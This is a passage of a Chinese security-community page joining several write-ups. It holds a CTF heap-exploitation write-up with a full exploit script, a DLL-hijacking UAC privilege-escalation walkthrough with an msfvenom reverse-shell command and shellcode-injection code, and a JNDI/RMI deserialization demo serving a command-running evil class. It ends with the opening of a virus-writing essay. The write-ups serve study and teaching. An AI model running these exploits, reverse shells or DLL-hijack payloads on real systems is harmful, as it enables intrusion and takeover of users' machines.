free`的地方，此时并不`malloc`新堆，而是将内容重复堆的结构体堆`count`处内容置为我们刚刚`add`的`count`内容，导致这个堆本已经`free`过了但是还能再次`free`。这里我们选择重置第三个堆，也就是要`add`一个`memo=0x12b5060`的堆（根据以上堆情况得出的值）。再来看看堆情况：
0xd9b000: 0x0000000000000000 0x0000000000000021
0xd9b010: 0x0000000000d9b030 0x0000000000000000
0xd9b020: 0x0000000000000000 0x0000000000000021
0xd9b030: 0x0000000000000000 0x0000000000000000
0xd9b040: 0x0000000000000000 0x0000000000000021
0xd9b050: 0x0000000000d9b070 0x0000000000000000
0xd9b060: 0x0000000000000000 0x0000000000000021
0xd9b070: 0x0000000000d9b020 0x0000000000000000
0xd9b080: 0x0000000000000000 0x0000000000000021
0xd9b090: 0x0000000000d9b0b0 0x0000000000000001 < -- 置为1
0xd9b0a0: 0x0000000000000000 0x0000000000000021
0xd9b0b0: 0x0000000000d9b060 0x0000000000000000
0xd9b0c0: 0x0000000000000000 0x0000000000000021
0xd9b0d0: 0x0000000000d9b0f0 0x0000000000000000
0xd9b0e0: 0x0000000000000000 0x0000000000000021
0xd9b0f0: 0x0000000000d9b0a0 0x0000000000000000
`free`掉后再看看`fastbin`中的情况（堆变化是因为不是同一次复制数据，看偏移即可）：
fastbins
0x20: 0x15f00a0 —▸ 0x15f00e0 ◂— 0x15f00a0
0x30: 0x0
0x40: 0x15f0240 —▸ 0x15f01e0 —▸ 0x15f0180 —▸ 0x15f0120 ◂— 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
这时候就可以充分利用`double free`的情况了，再`add`一个堆，并构造出一个`fake heap`。
> add('aaaaaaaa\x21',1)
看堆情况：
0x1299080: 0x0000000000000000 0x0000000000000021
0x1299090: 0x00000000012990b0 0x0000000000000000
0x12990a0: 0x0000000000000000 0x0000000000000021
0x12990b0: 0x00000000012990f0 0x0000000000000001
0x12990c0: 0x0000000000000000 0x0000000000000021
0x12990d0: 0x00000000012990f0 0x0000000000000000
0x12990e0: 0x0000000000000000 0x0000000000000021
0x12990f0: 0x6161616161616161 0x0000000000000021
fastbins
0x20: 0x12990a0 —▸ 0x12990f0
这时候第二个`fastbin`为0x12990f0，所以`memo=`的内容就会被分配在0x1299100处，而0x1299100处恰好是一个之前所分配的堆，所以可以用这点来泄漏libc地址了。继续`add`一个：
> add('b' _8+'\x21'_ 8+p64(elf.got['atoi']).replace('\x00',''),12345)
堆情况：
0x1bcf0c0: 0x0000000000000000 0x0000000000000021 < -- 4
0x1bcf0d0: 0x0000000001bcf0f0 0x0000000000000000
0x1bcf0e0: 0x0000000000000000 0x0000000000000021
0x1bcf0f0: 0x6161616161616161 0x0000000000000021
0x1bcf100: 0x6262626262626262 0x2121212121212121 < -- 5
0x1bcf110: 0x00000000006030a0 0x0000000000000000
0x1bcf120: 0x0000000000000000 0x0000000000000041
0x1bcf130: 0x0000000000000000 0x4545454545454545
而后的利用方式就是常规操作修改got表了，利用方法也同上`double
free`。不过第四次`malloc`到程序got表的地址处。这里我本想`fastbin`到`__malloc_hook`的地址处，但是这里需要堆大小为0x70，`add`中最大内容大小是0x50:
> memset(&s2, 0, 0x50uLL);
所以这里行不通，只能在got表地址处找一处错位地址：
pwndbg> x/20xg 0x60306a
0x60306a: 0x0ac600007f08c728 0x1130000000000040
0x60307a: 0x8ad000007f08c727 0xce7000007f08c725
0x60308a: 0x0b0600007f08c725 0xb660000000000040
0x60309a: 0x3e8000007f08c727 0x294000007f08c722
刚好有一处0x40大小的可构造堆，且`__isoc99_sscanf`处于`0x603080`地址处可覆写。
大家复现后会发现这里有一处想不到的地方（反正我是想不到），就是要构造0x30大小的`memo`内容的时候，该如何既让堆`fd`指针处是我们所要构造的0x60306a，又要让0x30内容被填充满且中间还不能输入00字符串？（该程序如果memo=后的内容有00字符串则会崩溃，但是要构造0x60306a地址内容就必须有5个00字符串）
这里看了别人的wp后发现他们是这样构造的：
add(urllib.quote(flat(0x60306a).ljust(0x30, 'A')),1234)
实际调试发现：
0x1f151e0: 0x0000000000000000 0x0000000000000041
0x1f151f0: 0x000000000060306a 0x4747474747474747
0x1f15200: 0x4747474747474747 0x4747474747474747
0x1f15210: 0x4747474747474747 0x4747474747474747
确实能写入，并且后面的内容不变为'A'。我查了一下这个quote函数不过是个`url`编码函数，为什么还能有这种效果。。如果有人清楚原理请告诉我一下。。
还有这里需要注意的一个点是在`free`堆的时候因为程序是开了多线程的，所以需要有一定的延时，不然会导致没有运行完整个`count`函数代码就进入下一个环节，会导致没有`free`掉堆的情况。
## EXP:
from pwn import *
import urllib
p = process('./pwn')
libc = ELF('libc-so.6')
elf = ELF('pwn')
context.log_level = 'debug'
def add(content,index):
s = 'POST '+'/add '+'Connection: keep-alive'
s += '\n\n'+'memo='+content+'&count='+str(index)
p.sendline(s)
def count():
s = 'POST '+'/count '+'Connection: keep-alive'
p.sendline(s)
def listlist():
s = 'GET '+'/list '+'Connection: keep-alive'
p.sendline(s)
add('A'*8,1)
add('B'*8,1)
add('C'*8,1)
add('D'*8,1)
add('E'*0x30,1)
add('F'*0x30,1)
add('G'*0x30,1)
add('H'*0x30,1)
add('F'*24,123456)
sleep(1)
count()
sleep(2)
listlist()
p.recvuntil('0</td>')
p.recvuntil('<td>')
data = p.recvuntil('<')
data = data[:-1]
data = u64(data.ljust(8,'\x00'))
heap_base = data - 0x20
log.success('heap addr is:'+hex(heap_base))
sleep(1)
add(p64(heap_base+0x60).replace('\x00',''),1)
count()
sleep(2)
add('aaaaaaaa\x21',1)
add('b'*8+'\x21'*8+p64(elf.got['atoi']).replace('\x00',''),12345)
listlist()
p.recvuntil('aaaaaaaa!</td><td>0</td></tr><tr><td>')
data2 = u64(p.recv(6).ljust(8,'\x00'))
atoi_addr = data2
libc_base = atoi_addr - libc.symbols['atoi']
one_gadget = libc_base + 0x45216
log.success('atoi addr is:'+hex(atoi_addr))
log.success('onegadget addr is:'+hex(one_gadget))
add(p64(heap_base+0x180).replace('\x00',''),1)
count()
sleep(2)
add(urllib.quote(flat(0x60306a).ljust(0x30, 'A')),1234)
add(urllib.quote(flat(0x60306a).ljust(0x30, 'A')),1234)
add(urllib.quote(flat(0x60306a).ljust(0x30, 'A')),1234)
add('A'*6+urllib.quote(flat(p64(one_gadget)).ljust(0x30-14, 'A')),1234)
sleep(0.1)
p.sendline('V1NKe is a stupid boy!')
p.interactive()
## 最后：
本人的exp写的较为粗糙，在泄漏heap基地址的时候因为对正则了解较少，所以有时候会出现没有正确计算出heap基地址的情况，解决方法是多试几次即可，或者自行修改成正则匹配。 | 社区文章 |
# 借用UAC完成的提权思路分享
|
##### 译文声明
本文是翻译文章，文章来源：drops.wooyun.org
原文地址：<http://drops.wooyun.org/tips/8989>
译文仅供参考，具体内容表达以及含义原文为准。
**0x00 背景**
UAC(User Account Control,用户帐户控制)是微软为提高系统安全而在Windows
Vista中引入的新技术,它要求用户在执行可能会影响计算机运行的操作或执行更改影响其他用户的设置的操作之前,提供权限或管理员密码。也就是说一旦用户允许启动的应用程序通过UAC验证,那么这个程序也就有了管理员权限。如果我们通过某种方式劫持了通过用户UAC验证的程序,那么相应的我们的程序也就实现了提权的过程。
**0x01 提权过程概述**
首先我们找到目标程序,查找其动态加载的dll文件然后将其替换掉,插入我们包含shellcode的dll文件,这样用户在安装此文件的时候就会调用我们的dll文件,并执行我们的shellcode代码。同时为了防止程序崩掉导致我们的代码退出,采用注入的方式保证shellcode的稳定执行。在此过程中,如果目标程序请求UAC权限,对于用户来说这是一个正常的安装文件,一旦通过UAC验证,相应我们的shellcode也完成了提权过程。替换安装包dll文件这种行为太过于敏感,其实最后实现的方式是找到目标程序需要加载的,并且当前目录又不存在的需要联网下载的dll文件,我们只需要在该目录下放一个同名dll文件即可。
**0x02 实验环境**
Kali Debian7
Kali集成Metasploit等漏洞利用工具,方便提取shellcode和反弹TCP连接。最好安装一个Mingw-w64用于编译c代码。
windows7 x64
主要的目标测试环境。
Procmon.exe
Procmon是微软出的一款强大的Windows监视工具,不但可以监视进程/线程,还可以监控到文件系统,注册表的变化等。
install_flashplayer15x32_mssd_aaa_aih
这里我们以flashplayer安装文件作为目标文件,版本为15x32_mssd_aaa_aih,可自行下载,或者从最后的打包附件中找到。
**0x03 详细提权过程**
查找可劫持的dll文件
首先我们在win7系统下先打开procmon监控软件,清除一下日志信息,然后运行我们的目标文件install_flashplayer15x32_mssd_aaa_aih,运行过后会弹出UAC选项,需要用户确认授权。
这里我们点“是”,然后安装包开始安装并自删除,并从服务器下载所需的文件,这时候就可以关掉了,因为我们只需要看该软件包都加载了哪些dll文件。
看下Procmon.exe记录所有行为
信息量太大,我们需要过滤出有用的信息。
首先是只看我们目标进程的信息,添加过滤规则:
Process Name is install_flashplayer15x32_mssd_aaa_aih
然后是过滤掉加载系统的dll文件,只看安装包当前目录下加载的dll文件,我这里安装包存放在dllhijack文件夹下,添加过滤规则:
Path contains dllhijack
并且该加载dll不存在,需要联网从服务器下载,最后再添加一个过滤规则:
Result is NAME NOT FOUND
三个过滤规则如下所示:
经过三个规则过滤后,留下的信息就很明显了,如下图所示:
上边所列的dll文件都是会尝试加载,并且找不到,会联网进行下载的dll文件,因此,我们的目标就是劫持这些dll文件,也不需要替换,直接将我们的dll文件放在安装包同目录即可,这也是为什么选择这个安装程序测试的原因。如果选择其他安装包测试的,最好也是选择这种联网安装类型的,所有文件都从服务器拉取,如果安装程序没有对这些从服务器拉取的文件进行效验,就能够被劫持。
**编写exploit**
找到劫持了dll文件后,我们进入Debian系统用msf生成shellcode,这里我们选择反弹tcp的shellcode,需要知道服务器ip地址和监听端口,这里也选择Debian系统作为服务器,ifconfig查看下ip,设置监听端口为9000,最后执行如下命令生成shellcode:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.127.133 LPORT=9000 -f c
为了防止程序挂掉或者退出导致shellcode也跟着退出,采用注入的方式,将shellcode注入rundll32.exe进程,然后连接远程端口。服务器监听该端口,一旦有请求就建立会话连接,注入关键代码:
if (CreateProcess(0, "rundll32.exe", 0, 0, 0, CREATE_SUSPENDED | IDLE_PRIORITY_CLASS, 0, 0, &si, &pi)) {
ctx.ContextFlags = CONTEXT_INTEGER | CONTEXT_CONTROL;
GetThreadContext(pi.hThread, &ctx);
ep = (LPVOID)VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, (PVOID)ep, &code, SCSIZE, 0);
#ifdef _WIN64
ctx.Rip = (DWORD64)ep;
#else
ctx.Eip = (DWORD)ep;
#endif
SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
最后将程序编译,这里编译直接在Debian系统下用Mingw-w64编译,命令入下:
root@idhyt:~/maldemo# i686-w64-mingw32-gcc template.c -o template.dll –shared
root@idhyt:~/maldemo# file template.dll
template.dll: PE32 executable (DLL) (console) Intel 80386, for MS Windows
将编译好的template.dll拷贝到win7系统中备用。
debian系统设置服务器并监听9000端口,所有命令如下:
**提权**
将编译的template.dll文件放在install_flashplayer15x32_mssd_aaa_aih目录下,从我们监控到的可劫持dll文件中选择一个,这里我选择dhcpcsv6.dll。将我们的dll文件改名为dhcpcsvc6.dll,其他dll文件可自行尝试。之后重新运行安装包,弹出UAC选项后点“是”。
之后我们在debian系统的服务端会看到我们已经监听到了这个端口,看下会话信息:
查看下当前uid,然后执行getsystem命令权限:
可以看到已经提权成功,然后进入shell查看下文件,运行个计算器什么的
**0x04 总结**
UAC很大程度上减少PC受到恶意软件侵害的机会,但是并不表明是不可被利用的。通过这种dll劫持方式,可以将dll文件设置为隐藏,并将正常的软件(如adobe
flash
player)打包给用户,用户基本是察觉不到的,一旦用户正常安装,机器就会被攻击者控制。一些病毒通过劫持lpk.dll等系统dll文件造成的病毒体执行,也是利用这种思路,但是替换系统文件这种敏感操作,基本逃不过杀软的监控了。
各杀软厂商对shellcode这种检测和防御也不够严格,直接从msf中提取的shellcode,没做任何变形和过杀软处理,然后virustotal网站上扫描结果如下:
可以看出总共用了56中杀毒软件扫描,报毒的只有16个,然后看下国内的杀软:
国内杀软全都没有报毒,所以通过dll劫持提权还是有很大的使用空间。 代码和安装包上传百度网盘:链接:
<http://pan.baidu.com/s/1ntAbfQD> 密码: rmsq 解压码:ks123456 | 社区文章 |
**作者：天融信阿尔法实验室**
**原文链接：<https://mp.weixin.qq.com/s/EeDpAP2n3RZ-3EYTET27nw>**
**相关文章：[Java 反序列化系列 ysoserial Hibernate1](https://paper.seebug.org/1187/ "Java
反序列化系列 ysoserial Hibernate1")**
## 1.Hibernate简介
Hibernate是一个开放源代码的对象关系映射框架，它对JDBC进行了非常轻量级的对象封装，它将POJO与数据库表建立映射关系，是一个全自动的ORM框架，hibernate可以自动生成SQL语句，自动执行，使得Java程序员可以随心所欲的使用对象编程思维来操纵数据库。
Hibernate可以应用在任何使用JDBC的场合，既可以在Java的客户端程序使用，也可以在Servlet/JSP的Web应用中使用，最具革命意义的是，Hibernate可以在应用EJB的JaveEE架构中取代CMP，完成数据持久化的重任。
## 2.RPC简介
RPC(Remote Procedure Call)远程过程调用。允许一台计算机程序远程调用另外一台计算机的子程序，不用关心底层网络通信。
很多人对RPC的概念很模糊，其实RPC是建立在Socket的基础上的。通过Socket将对另一台计算机中的某个类的某个方法的请求同时包含该方法所需要传输的参数序列化传输过去，然后在另一台计算机接收后判断具体调用的哪个类的哪一个方法，然后通过反射调用该方法并传入参数，最终将方法的返回值序列化并通过Socket传输回发送方法调用请求的那台计算机上，这样的一个过程就是所谓的远程方法调用
一次RPC调用的过程大概有10步：
1.执行客户端调用语句，传送参数
2.调用本地系统发送网络消息
3.消息传送到远程主机
4.服务器得到消息并取得参数
5.根据调用请求以及参数执行远程过程（服务）
6.执行过程完毕，将结果返回服务器句柄
7.服务器句柄返回结果，调用远程主机的系统网络服务发送结果
8.消息传回本地主机
9.客户端句柄由本地主机的网络服务接收消息
10.客户端接收到调用语句返回的结果数据
以下是一张截取自网上的RPC执行流程图
接下来通过java代码来实现一个最简化的RPC Demo
先看一下文件结构首先是client端也就是发起远程方法请求的一方
然后是server端也就是处理远程方法请求的一方
首先看RpcPrincipleTestInterface接口，此接口是公开的，也就是这个接口文件是client端和server端中都存在的，接下来是RpcPrincipleTestInterface的代码
import java.io.Serializable;
public interface RpcPrincipleTestInterface extends Serializable {
public int myAdd(int firstNum, int SecondNum);
public int mySub(int firstNum, int SecondNum);
public String sayHello(String name);
}
然后我们观察client端的RpcPrincipleClientTestimpl.java
public class RpcPrincipleClientTestimpl {
public static void main(String[] args)throws Exception {
RpcPrincipleTestInterface rpcPrincipleTestInterface = (RpcPrincipleTestInterface)Stub.getStub();
int resultOne = rpcPrincipleTestInterface.myAdd(2,3);
System.out.println(resultOne+"\n");
int resultTwo = rpcPrincipleTestInterface.mySub(5,4);
System.out.println(resultTwo+"\n");
String resultThree = rpcPrincipleTestInterface.sayHello("张三");
System.out.println(resultThree+"\n");
}
}
下面是执行结果
可以看到我们执行了RpcPrincipleTestInterface接口中的方法但是我们在本地并未有任何RpcPrincipleTestInterface接口的具体实现？那这些个执行结果究竟是谁给出的呢？
我们通过观察代码不难发现，为rpcPrincipleTestInterface变量赋值的是`Stub.getStub()`方法，该方法的返回值被我们强转成了`RpcPrincipleTestInterface`类型。那`Stub.getStub()`方法的返回值究竟是什么我们继续深入来看
下面是Stub.java的代码
public class Stub {
public static Object getStub(){
InvocationHandler h = new InvocationHandler() {
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
Socket socket = new Socket("127.0.0.1",8888);
String methodName = method.getName();
if(methodName.equals("myAdd")||methodName.equals("mySub")){
Class[] parameterType = method.getParameterTypes();
ObjectOutputStream outputStream = new ObjectOutputStream(socket.getOutputStream());
outputStream.writeUTF(methodName);
outputStream.writeObject(parameterType);
outputStream.writeObject(args);
outputStream.flush();
//outputStream.close();
DataInputStream inputStream = new DataInputStream(socket.getInputStream());
int result = inputStream.readInt();
inputStream.close();
return result;
}else if (methodName.equals("sayHello")){
Class[] parameterType = method.getParameterTypes();
ObjectOutputStream outputStream = new ObjectOutputStream(socket.getOutputStream());
outputStream.writeUTF(methodName);
outputStream.writeObject(parameterType);
outputStream.writeObject(args);
outputStream.flush();
DataInputStream inputStream = new DataInputStream(socket.getInputStream());
String result = inputStream.readUTF();
return result;
}else {
System.out.println("请确认你调用的方法是否存在");
return null;
}
}
};
Object object = Proxy.newProxyInstance(RpcPrincipleTestInterface.class.getClassLoader(),new Class[]{RpcPrincipleTestInterface.class},h);
return object;
}
}
不难看出最终返回的结果是一个实现了RpcPrincipleTestInterface接口的动态生成的Proxy对象，传入的handler参数中包含了调用远程方法的核心操作。
首先熟悉java动态代理的同学都清楚，当我们调用动态代理对象的某个方法时，其实都是在调用InvocationHandler对象中被重写的invoke方法。所以当我们在`RpcPrincipleClientTestimpl中调用rpcPrincipleTestInterface.myAdd()`方法时本质调用的是`InvocationHandler.invoke`方法。同时方法名“myAdd”作为参数传入invoke中，我们首先创建一个socket对象将请求的地址和端口作为参数传入。然后获取方法名，接下来判断当前调用的方法是哪一个，判断完成后，将方法名，参数类型，还有参数的值序列化发送给server端，然后通过DataInputStream读取socket接收到的数据并反序列化，然后进行返回。
讲完了client端，我们再来看看server端，首先来看RpcPrincipleTestImpl.java的代码
public class RpcPrincipleTestImpl implements RpcPrincipleTestInterface {
private static final long serialVersionUID = 8084422270826068537L;
@Override
public int myAdd(int firstNum,int SecondNum) {
return firstNum + SecondNum;
}
@Override
public int mySub(int firstNum,int SecondNum) {
return firstNum - SecondNum;
}
@Override
public String sayHello(String name) {
return name+"Say Hello";
}
}
我们看到RpcPrincipleTestInterface接口真正的实现类是RpcPrincipleTestImpl，那刚才我们究竟是怎么做到在client端调用了server端的RpcPrincipleTestImpl的呢？关键在于RpcPrincipleServerSkeleton这个类，我们观察下他的源码
public class RpcPrincipleServerSkeleton {
private static boolean running = true;
public static void main(String[] args) throws Exception {
ServerSocket serverSocket = new ServerSocket(8888);
while (running){
Socket s = serverSocket.accept();
process(s);
s.close();
}
serverSocket.close();
}
private static void process(Socket s)throws Exception{
InputStream in = s.getInputStream();
OutputStream out = s.getOutputStream();
ObjectInputStream ois= new ObjectInputStream(in);
String methodName = ois.readUTF();
Class[] parameterType = (Class[])ois.readObject();
Object[] args =(Object[]) ois.readObject();
RpcPrincipleTestInterface rpcPrincipleTestInterface = new RpcPrincipleTestImpl();
Method method = rpcPrincipleTestInterface.getClass().getMethod(methodName,parameterType);
Type t = method.getAnnotatedReturnType().getType();
if(t.getTypeName().equals("int")){
int result = (int)method.invoke(rpcPrincipleTestInterface,args);
DataOutputStream output = new DataOutputStream(out);
output.writeInt(result);
output.flush();
}else if(t.getTypeName().equals("java.lang.String")){
String result = (String) method.invoke(rpcPrincipleTestInterface,args);
DataOutputStream output = new DataOutputStream(out);
output.writeUTF(result);
output.flush();
}
}
}
在RpcPrincipleServerSkeleton中我们首先监听了8888端口，然后将Socket对象传入process方法中。process方法中接收客户端传的，调用方法的方法名，参数类型，以及参数值。按顺序将其反序列化出来然后通过反射调用RpcPrincipleTestImpl对象中的对应方法，然后将得到的返回值进行类型的判断，紧接着就将其进行序列化然后通过socket返回給client端，至此就是一个RPC的基础流程，我在这里演示的RPC
demo可以说是简陋，真实的RPC框架背后的实现要比这复杂n倍，但是复杂归复杂，原理都是一样的。
## 3.RMI简介
介绍完了RPC，接下来就介绍一下RPC框架的一种实现，也就是RMI，直接通过代码来进行演示
先看一下远程方法调用方，也就是client端的目录结构
然后是远程方法服务提供方，也就是server端
RMITestInterface是一个公开接口，就像上一节所讲的，底层生成的代理类是需要实现该接口的,此公共接口一定要继承java.rmi.Remote接口，否则编译时会报错，以下是RMITestInterface的代码,
public interface RMITestInterface extends Remote {
public String sayHello(String name)throws RemoteException;
}
我们在RMIClientTest类中发起远程方法调用的请求，以下是RMIClientTest的代码
public class RMIClientTest {
public static void main(String[] args) {
try{
/** Registry registry = LocateRegistry.getRegistry("localhost",1099);
RMITestInterface rmiTestInterface = (RMITestInterface) registry.lookup("RMIClientTestImpl");*/
RMITestInterface rmiTestInterface = (RMITestInterface) Naming.lookup("rmi://localhost:1099/RMITestInterfaceImpl");
/**Naming.lookup帮忙封装了上面的两个步骤，将两步合成一步了，原本要写两行代码现在只要一行就行了*/
System.out.println(rmiTestInterface.sayHello("World"));
}catch (Exception e){
e.printStackTrace();
}
}
}
接下来就是server端的代码，首先我们看RMITestInterfaceImpl，可以看到该类实现了RMITestInterface接口，同时同学们应该也注意到该类继承了一个UnicastRemoteObject类，在RMI中如果一个类要绑定进行远程方法提供的话有两种方法，一就是继承UnicastRemoteObject类，第二种就是在实例化时通过调用`UnicastRemoteObject.exportObject()`静态方法来实例化该对象。
public class RMITestInterfaceImpl extends UnicastRemoteObject implements RMITestInterface {
private static final long serialVersionUID = -6151588688230387192L;
public int num = 1;
protected RMITestInterfaceImpl() throws RemoteException {
super();
}
@Override
public String sayHello(String name) throws RemoteException {
return "Hello" + name + "^_^";
}
}
最后我们来看RMIServerTestImpl类，在该类里我们绑定了一个RMITestInterface对象来进行提供远程方法调用的服务
public class RMIServerTestImpl {
public static void main(String[] args) {
try {
RMITestInterface rmiTestInterface = new RMITestInterfaceImpl();
LocateRegistry.createRegistry(1099);
Naming.rebind("rmi://localhost:1099/RMITestInterfaceImpl",rmiTestInterface);
System.out.println("Ready");
}catch (Exception e){
e.printStackTrace();
}
}
}
最后我们在client端执行RMIClientTest可得到以下结果
## 4.Hibernate2漏洞原理深度分析
整体漏洞的执行逻辑同Hibernate1并无太大差别，首先看一下ysoserial
Hibernate封装恶意代码的逻辑，这次还是用了和上次一样的脑图，对其中利用到的不同的类进行了修改
除了一开始被封装而且是用来最终执行代码的TemplatesImpl类变成了JdbcRowSetImpl类以外几乎没有什么变化了，也就是说前期的执行调用链是一样的。
为了方便大家理解就再把执行过程从头简述一遍。
首先反序列化我们最终封装完成的HashMap对象，自然会调用HashMap的readObject()方法,然后在readObject()方法的末尾有一个for循环，
由脑图可知这里的key和value对象存储的是同一个Type对象
接下来在`putForCreate()`方法里又调用的`hash()`方法
最终嵌套执行到BasicPropertyAccessor$BasicGetter的get()方法。
这里调用了Method.invoke方法，我们看一下method变量和target的具体信息
可以看到最终通过反射的方式调用了`JdbcRowSetImpl.getDatabaseMetaData()`方法,漏洞触发真正的重点从这里才开始和ysoserial
Hibernate1有所不同。
我们跟进getDatabaseMetaData()方法，看到该方法同时调用了自身的connect方法，我们继续跟进
`Var1.lookup(this.getDataSourceName()`就是触发远程代码执行的罪魁祸首
但这么说大家肯定有人会不理解，为何这个函数会造成代码执行。
首先我们先看这个var1，var1是一个InitialContext对象，存在于javax.naming这个包中
那么javax.naming这个包又是干什么的？我们百度一下就可以知道，这个包就是我们常听到的一个概念JNDI
关于JNDI的基础概念就不再过多赘述了
正如第3节内容所讲的RMI远程方法调用一样，JNDI功能中的一部分就是帮我们又封装了一下RMI，从而可以让我们更方便的实现远程方法调用。
下面用代码来复现这个漏洞的原理
首先是jndi client端
public class JndiClientTest {
public static void main(String[] args) throws NamingException {
Context ctx = new InitialContext();
ctx.lookup("rmi://127.0.0.1:9999/evil");
System.out.println(System.getProperty("java.version"));
}
}
然后是一个恶意server端
public class RMIServer1 {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(9999);
System.out.println("java RMI registry created. port on 9999...");
Reference reference = new Reference("ExportObject", "com.test.remoteclass.evil", "http://127.0.0.1:8000/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("evil", referenceWrapper);
}
}
紧接着是一个用来提供恶意类加载的一个简易http Server
public class HttpServer implements HttpHandler {
@Override
public void handle(HttpExchange httpExchange) {
try {
System.out.println("new http request from " + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI());
InputStream inputStream = HttpServer.class.getResourceAsStream(httpExchange.getRequestURI().getPath());
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
while (inputStream.available() > 0) {
byteArrayOutputStream.write(inputStream.read());
}
byte[] bytes = byteArrayOutputStream.toByteArray();
httpExchange.sendResponseHeaders(200, bytes.length);
httpExchange.getResponseBody().write(bytes);
httpExchange.close();
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] args) throws IOException {
com.sun.net.httpserver.HttpServer httpServer = com.sun.net.httpserver.HttpServer.create(new InetSocketAddress(8000), 0);
System.out.println("String HTTP Server on port: 8000");
httpServer.createContext("/", new HttpServer());
httpServer.setExecutor(null);
httpServer.start();
}
}
最后就是我们包含有恶意代码的类了
public class evil implements ObjectFactory, Serializable {
private static final long serialVersionUID = 4474289574195395731L;
static {
try {
exec("open /Applications/Calculator.app");
} catch (Exception e) {
e.printStackTrace();
}
}
public static void exec(String cmd) throws Exception {
String sb = "";
BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
in.close();
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}
可以看到在静态代码块中写有我们要执行的命令
我们先启动server端和http server。然后运行client端就可以出发命令执行
这是为什么呢？在第三节中我们简单介绍了RMI，RMI可以进行远程方法调用，RMI还可以进行动态类加载，即可以从一个远程服务器`http://`、`ftp://`、`file://`等形式动态加载一个.class文件到本地然后进行操作。但是这种RMI动态类加载的限制极大。有以下要求
1. 由于Java SecurityManager的限制，默认是不允许远程加载的，如果需要进行远程加载类，需要安装RMISecurityManager并且配置java.security.policy，这在后面的利用中可以看到。
2. 属性 java.rmi.server.useCodebaseOnly 的值必需为false。但是从JDK 6u45、7u21开始，java.rmi.server.useCodebaseOnly 的默认值就是true。当该值为true时，将禁用自动加载远程类文件，仅从CLASSPATH和当前虚拟机的java.rmi.server.codebase 指定路径加载类文件。使用这个属性来防止虚拟机从其他Codebase地址上动态加载类，增加了RMI ClassLoader的安全性。
我们使用JNDI同样可以进行动态类加载，而且限制相比于使用RMI要小很多。在jdk1.7.0_21版本我们可以不做任何配置直接进行远程class的加载。
但当jdk版本大于等于JDK 6u132、JDK 7u122、JDK 8u113 之后，系统属性
com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase的默认值变为false，即默认不允许RMI、cosnaming从远程的Codebase加载Reference工厂类。
我们更换jdk版本演示一下，可以看到jdk版本为`1.8.0._22`时会抛出`com.sun.jndi.rmi.object.trustURLCodebase`
为flase的异常
至此 ysoserial Hibernate2 漏洞原理分析完毕，感谢观看。
## 5.总结
此次漏洞利用的思路相较于之前的Hibernate1
主要变化在最终触发命令执行的类由TemplatesImpl类变成了JdbcRowSetImpl类，最终执行漏洞方式又由加载本地通过动态字节码生成的类从而触发其静态代码块中的恶意代码换成了通过RMI+JNDI+Reference,
然后最终由`lookup()`方法动态加载一个远程class文件从而触发其静态代码块中的恶意代码。
* * * | 社区文章 |
# 【技术分享】如何使用汇编语言编写一个病毒
|
##### 译文声明
本文是翻译文章，文章来源：cranklin.wordpress.com
原文地址：<https://cranklin.wordpress.com/2016/12/26/how-to-create-a-virus-using-the-assembly-language/>
译文仅供参考，具体内容表达以及含义原文为准。
****
**翻译：**[ **维一零** ****](http://bobao.360.cn/member/contribute?uid=32687245)
**预估稿费：300RMB（不服你也来投稿啊！）**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
**
**
**前言**
病毒编写的艺术似乎丢失了似的。我们不要将恶意软件，特洛伊木马，蠕虫等等混淆成病毒。你可以使用任何友好的脚本语言去编写那些垃圾程序并且拍着自己的后背嘚瑟一下，但这并不能让你成为一个病毒作者。编写计算机病毒并不一定就是你所看到的关于破坏，还得要看你的病毒可以传播多广泛同时避免被检测，也得要比杀毒软件公司更为聪明。这事关创新和创造力。一个计算机病毒在很多方面就像一个纸飞机。你需要使用聪明和具有创造性的方式去折飞机，并试图使它在不可避免的着陆前尽可能长久的飞翔。在万维网之前，传播病毒是一种挑战。运气好的话，它会感染除了你自己之外的任何电脑。如果运气更好点，你的病毒将获得像鲸鱼病毒或米开朗基罗病毒一样的名声。
如果你想被视为一个“病毒作者”，你必须获得这类称号。在地下黑客组织里，在黑客/破解者/入侵者之中，我最尊重的是病毒作者。因为不是任何人都能做到，那是真的能够表现出他比别人拥有更深的、关于系统和软件方面的知识。你不能指望简单地遵循常规就能成为一个病毒作者。编写一个真正的病毒需要比一般“黑客”拥有更多的技能。多年以来，我没有成功的写出一个可以运行良好的二进制文件感染病毒。一直就是报错、报错、报错。这是一件令人沮丧的事情。因此我坚持编写蠕虫、木马炸弹和ANSI炸弹。我坚持编写BBS的漏洞利用，也去逆向视频游戏软件以破解其版权保护。每当我以为我的汇编技术终于足够，试图编写出一个病毒的时候，失败再次地落到我的脸上。我花了好几年的时间才能够编写出一个真正可运行的病毒。这就是为什么我着迷于病毒并且想找出一些真正的病毒作者。在瑞安“elfmaster”奥尼尔传奇的书籍《学习Linux二进制程序分析》中，他指出：
这是一个超越常规编程约定的伟大挑战工程，它要求开发人员跳出传统模式，去操纵代码、数据和环境使其以某种方式表现，在与AV杀毒软件开发者的交流时，令我吃惊的是，他们旁边没有人有任何真正关于如何逆向一个病毒的想法，更不用说去设计什么真正的启发式来识别它们（除了签名）。事实上，病毒编写是非常困难的，并且需要标准比较严格的技能。
**使用汇编语言编写一个病毒**
